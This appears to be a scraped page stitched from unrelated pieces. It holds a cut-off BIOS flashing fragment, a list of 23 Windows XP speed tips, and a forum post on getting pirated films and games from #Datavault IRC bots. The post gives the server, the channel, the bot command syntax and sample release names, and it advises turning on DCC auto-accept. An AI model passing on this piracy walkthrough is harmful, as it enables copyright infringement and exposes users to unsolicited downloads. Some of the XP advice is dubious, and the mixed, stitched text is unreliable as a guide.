In the above example I am assuming that you are using the FLASH763.EXE flash utility. You will need to replace the FLASH763 with the name of whatever flash utility you are using, and replace the BIOSFILE.BIN with the name of the BIOS file you are using. You will also need to change the ‘/py’ to whatever the command is for your flash utility to automatically program the BIOS without user intervention. If you do not know the command to automatically flash your BIOS type the name of the flash utility with a space and then /? to display the utility’s help screen. The help screen should pecify the command switch to automatically flash your BIOS. If you are using the FLASH763.EXE utility then the switch to automatically flash your BIOS is ‘/py’.

23 Ways To Speed WinXP, Not only Defrag

Since defragging the disk won't do much to improve Windows XP performance, here are 23 suggestions that will. Each can enhance the performance and reliability of your customers' PCs. Best of all, most of them will cost you nothing.
1.) To decrease a system's boot time and increase system performance, use the money you save by not buying defragmentation software -- the built-in Windows defragmenter works just fine -- and instead equip the computer with an Ultra-133 or Serial ATA hard drive with 8-MB cache buffer.


2.) If a PC has less than 512 MB of RAM, add more memory. This is a relatively inexpensive and easy upgrade that can dramatically improve system performance.


3.) Ensure that Windows XP is utilizing the NTFS file system. If you're not sure, here's how to check: First, double-click the My Computer icon, right-click on the C: Drive, then select Properties. Next, examine the File System type; if it says FAT32, then back-up any important data. Next, click Start, click Run, type CMD, and then click OK. At the prompt, type CONVERT C: /FS:NTFS and press the Enter key. This process may take a while; it's important that the computer be uninterrupted and virus-free. The file system used by the bootable drive will be either FAT32 or NTFS. I highly recommend NTFS for its superior security, reliability, and efficiency with larger disk drives.


4.) Disable file indexing. The indexing service extracts information from documents and other files on the hard drive and creates a "searchable keyword index." As you can imagine, this process can be quite taxing on any system.


The idea is that the user can search for a word, phrase, or property inside a document, should they have hundreds or thousands of documents and not know the file name of the document they want. Windows XP's built-in search functionality can still perform these kinds of searches without the Indexing service. It just takes longer. The OS has to open each file at the time of the request to help find what the user is looking for.


Most people never need this feature of search. Those who do are typically in a large corporate environment where thousands of documents are located on at least one server. But if you're a typical system builder, most of your clients are small and medium businesses. And if your clients have no need for this search feature, I recommend disabling it.


Here's how: First, double-click the My Computer icon. Next, right-click on the C: Drive, then select Properties. Uncheck "Allow Indexing Service to index this disk for fast file searching." Next, apply changes to "C: subfolders and files," and click OK. If a warning or error message appears (such as "Access is denied"), click the Ignore All button.


5.) Update the PC's video and motherboard chipset drivers. Also, update and configure the BIOS. For more information on how to configure your BIOS properly, see this article on my site.


6.) Empty the Windows Prefetch folder every three months or so. Windows XP can "prefetch" portions of data and applications that are used frequently. This makes processes appear to load faster when called upon by the user. That's fine. But over time, the prefetch folder may become overloaded with references to files and applications no longer in use. When that happens, Windows XP is wasting time, and slowing system performance, by pre-loading them. Nothing critical is in this folder, and the entire contents are safe to delete.


7.) Once a month, run a disk cleanup. Here's how: Double-click the My Computer icon. Then right-click on the C: drive and select Properties. Click the Disk Cleanup button -- it's just to the right of the Capacity pie graph -- and delete all temporary files.


8.) In your Device Manager, double-click on the IDE ATA/ATAPI Controllers device, and ensure that DMA is enabled for each drive you have connected to the Primary and Secondary controller. Do this by double-clicking on Primary IDE Channel. Then click the Advanced Settings tab. Ensure the Transfer Mode is set to "DMA if available" for both Device 0 and Device 1. Then repeat this process with the Secondary IDE Channel.


9.) Upgrade the cabling. As hard-drive technology improves, the cabling requirements to achieve these performance boosts have become more stringent. Be sure to use 80-wire Ultra-133 cables on all of your IDE devices with the connectors properly assigned to the matching Master/Slave/Motherboard sockets. A single device must be at the end of the cable; connecting a single drive to the middle connector on a ribbon cable will cause signaling problems. With Ultra DMA hard drives, these signaling problems will prevent the drive from performing at its maximum potential. Also, because these cables inherently support "cable select," the location of each drive on the cable is important. For these reasons, the cable is designed so drive positioning is explicitly clear.


10.) Remove all spyware from the computer. Use free programs such as AdAware by Lavasoft or SpyBot Search & Destroy. Once these programs are installed, be sure to check for and download any updates before starting your search. Anything either program finds can be safely removed. Any free software that requires spyware to run will no longer function once the spyware portion has been removed; if your customer really wants the program even though it contains spyware, simply reinstall it. For more information on removing Spyware visit this Web Pro News page.


11.) Remove any unnecessary programs and/or items from Windows Startup routine using the MSCONFIG utility. Here's how: First, click Start, click Run, type MSCONFIG, and click OK. Click the StartUp tab, then uncheck any items you don't want to start when Windows starts. Unsure what some items are? Visit the WinTasks Process Library. It contains known system processes, applications, as well as spyware references and explanations. Or quickly identify them by searching for the filenames using Google or another Web search engine.


12.) Remove any unnecessary or unused programs from the Add/Remove Programs section of the Control Panel.


13.) Turn off any and all unnecessary animations, and disable active desktop. In fact, for optimal performance, turn off all animations. Windows XP offers many different settings in this area. Here's how to do it: First click on the System icon in the Control Panel. Next, click on the Advanced tab. Select the Settings button located under Performance. Feel free to play around with the options offered here, as nothing you can change will alter the reliability of the computer -- only its responsiveness.


14.) If your customer is an advanced user who is comfortable editing their registry, try some of the performance registry tweaks offered at Tweak XP.


15.) Visit Microsoft's Windows update site regularly, and download all updates labeled Critical. Download any optional updates at your discretion.


16.) Update the customer's anti-virus software on a weekly, even daily, basis. Make sure they have only one anti-virus software package installed. Mixing anti-virus software is a sure way to spell disaster for performance and reliability.


17.) Make sure the customer has fewer than 500 type fonts installed on their computer. The more fonts they have, the slower the system will become. While Windows XP handles fonts much more efficiently than did the previous versions of Windows, too many fonts -- that is, anything over 500 -- will noticeably tax the system.


18.) Do not partition the hard drive. Windows XP's NTFS file system runs more efficiently on one large partition. The data is no safer on a separate partition, and a reformat is never necessary to reinstall an operating system. The same excuses people offer for using partitions apply to using a folder instead. For example, instead of putting all your data on the D: drive, put it in a folder called "D drive." You'll achieve the same organizational benefits that a separate partition offers, but without the degradation in system performance. Also, your free space won't be limited by the size of the partition; instead, it will be limited by the size of the entire hard drive. This means you won't need to resize any partitions, ever. That task can be time-consuming and also can result in lost data.


19.) Check the system's RAM to ensure it is operating properly. I recommend using a free program called MemTest86. The download will make a bootable CD or diskette (your choice), which will run 10 extensive tests on the PC's memory automatically after you boot to the disk you created. Allow all tests to run until at least three passes of the 10 tests are completed. If the program encounters any errors, turn off and unplug the computer, remove a stick of memory (assuming you have more than one), and run the test again. Remember, bad memory cannot be repaired, but only replaced.


20.) If the PC has a CD or DVD recorder, check the drive manufacturer's Web site for updated firmware. In some cases you'll be able to upgrade the recorder to a faster speed. Best of all, it's free.


21.) Disable unnecessary services. Windows XP loads a lot of services that your customer most likely does not need. To determine which services you can disable for your client, visit the Black Viper site for Windows XP configurations.


22.) If you're sick of a single Windows Explorer window crashing and then taking the rest of your OS down with it, then follow this tip: open My Computer, click on Tools, then Folder Options. Now click on the View tab. Scroll down to "Launch folder windows in a separate process," and enable this option. You'll have to reboot your machine for this option to take effect.


23.) At least once a year, open the computer's cases and blow out all the dust and debris. While you're in there, check that all the fans are turning properly. Also inspect the motherboard capacitors for bulging or leaks. For more information on this leaking-capacitor phenomena, you can read numerous articles on my site.




Following any of these suggestions should result in noticeable improvements to the performance and reliability of your customers' computers. If you still want to defrag a disk, remember that the main benefit will be to make your data more retrievable in the event of a crashed drive.

 Not Sure If Many People Use This Site, however heres A Few Steps To getting In.. And Getting The Latest Games..


Right 1st You Need mIRC (Download Below)


http://www.ircadmin.net/mirc/mirc614.exe




Once Downloaded And Installed.. Next Step Is To Get Yourself Connected To The Datavault Network..


Step 1 :- Open irc, Goto Tools,Options. Then Servers, Click Add
Under Description Type : DataVault
Under IRC Server Type : irc.addictz.net
Under Port(S) Type : 6667-6669


Now Click Ok..


Step 2 : Connecting To Irc.Addictz.Net


Goto Tools/Options/Servers
Select Datavault From Drop Down Menu
Tick "New Server Window"
Then Click Connect


A New Window Will Open Telling You That You Are Connecting To Irc.Addictz.net


Step 3 : Now You Have To Register YourSelf.


In The Window Type /msg nickserv register "your Password" "Your Valid Email"
Next Type /msg NickServ IDENTIFY "The Password You Just Entered"


It Should Now Say Your Registered!


Now Type /J #Datavault


Step 4 : The Bots In DataVault Spam What They Host Every 1 Hour, Becareful Not To Spam These Or Else You Will Be Banned..


Every Hour You Will See What Looks Like Below :-


** To request a file type: "/msg slut02 BITCH send #x
#1 392x [0.7G] Torque.DVDRiP.XviD-BRUTUS
#2 1509x [0.7G] The.Butterfly.Effect.DVDRip.XviD-DMT


It's Simple To Request A Download Now..


There Are Different Bots With Different Names, Ie Slut02 Is Just One Bot, There Are More Called Dv44, Dv33 Slut03 Etc.. However The Trigger Principle Is The Sa,e


Now If For Example You Wanted To Download "The ButterFly Effect", In The Main Chat Window You Would Type or Copy /msg slut02 BITCH send #2


Let Me Explaine.. /msg Is The Trigger, Slut02 Is The Bot BITCH and Send Are Both Triggers #2 Is The File Number You Want. Each Bot Can Host Numerouse Files, Ie #1 Being Another Film, #3 Also Being Another Film.


Once You Have Done That And Press Return, Just Sit Back And Wait.. Either The Download Will Start Straight Away, Or You Will Be Qued (*Cough Dodgy Spelling*)


Right Now To The Benifits Of #Datavault..


1: The Latest Release Of Most Films And Games.
2: 99.99% The Time You Get To Download At You Max BandWidth No Matter Your Connection (Either 56k (Omg Dont Download A 3 Gig File On That!!), Or A T1/OC3 Connection))


I Hope Someone Finds This HelpFull, If It's In The Wrong Place/ Or Inappropriate Then Plz Delete And Serve Me The Warning I Deserve....


Edit : It's A Good Idea To Have Auto Accept Dcc On, Incase Your Away When You Come InLine For Your Download, Generally Even If Your 20th In Que And It Says 3 Hours Wait, Your Prolly Looking At Around 30 Mins Waiting Slot..


Any Problems Please Let Me Know.. NN Peeps..